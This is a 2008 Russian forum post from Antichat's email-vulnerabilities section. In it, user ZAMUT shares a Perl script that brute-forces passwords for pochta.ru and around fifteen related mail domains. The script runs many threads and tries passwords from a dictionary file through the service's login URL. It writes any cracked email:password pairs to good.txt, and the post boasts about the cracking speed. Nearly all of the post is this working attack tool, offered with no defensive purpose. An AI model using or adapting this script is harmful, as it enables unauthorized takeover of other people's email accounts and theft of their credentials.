ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Pochta.ru Multithreads Brutforce [perl]
  #1  
Старый 13.05.2008, 20:09
Аватар для ZAMUT
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию Pochta.ru Multithreads Brutforce [perl]

Код:
#!/usr/bin/perl
#################################################################################################
################################Pochta.ru Multithreads Brutforce by ZAMUT####################
#(pochta.ru,fromru.com,front.ru,hotbox.ru,hotmail.ru,krovatka.su,land.ru,mail15.com,mail333.com,#
# newmail.ru,nightmail.ru,nm.ru,pisem.net,pochtamt.ru,pop3.ru,rbcmail.ru,smtp.ru)################
# Запускаем brut.pl xx, где xx - кол-во потоков
# plist.txt - Словарь паролей
# good.txt  - Файл для сбрученных паролей 
#################################################################################################
#############################################Antichat.ru#########################################
use IO::Socket;
use strict;
use warnings;
use threads;
use threads::shared;
my  @pass:shared;

my $threads = $ARGV[0];
open IN, "<plist.txt";
print 'Email:';
chomp(my $up =<STDIN>);
my($u,$p) = undef;
($u,$p)=split('\@',$up);
Next:
@pass = list();

for(0..$threads) {threads->create(\&brut, $_);}
for(threads->list) {$_->join; }

sub brut
{
 while (@pass)
 {
  my $pas = shift @pass;
  my $socket = IO::Socket::INET->new('pochta.ru:80') || die("Can't connecting!");
  print $socket "GET /login.php?reason=login&lng=&rnd=11111122&back=&user=$u&domain=$p&pass=$pas&long_session=1 HTTP/1.0\n\n";
  while(<$socket>)
  {
	 my $s = <$socket>;
	 if($s=~/login=/) 
		 {  open  GOOD,'>>good.txt'; 
	            print GOOD "$up:$pas\n";
		    print "\n$up:$pas\n";
		    close GOOD;
		    close $socket; 
		    exit; }
  }
  close $socket;
 }
}
goto Next;

sub list
{
	my (@mas);
	while (<IN>){
	push @mas, $_;
	last if (@mas == 500);
	}
	chomp @mas;
	return @mas;
};
з.ы.
На канале 2 Мб/c при 30 потоках, скорость ~45-50 п/c. Дальше - больше

Последний раз редактировалось ZAMUT; 14.05.2008 в 01:01..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Регер аккаунтов на Pochta.Ru sai_NT Разное - Покупка, продажа, обмен 10 06.05.2008 18:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ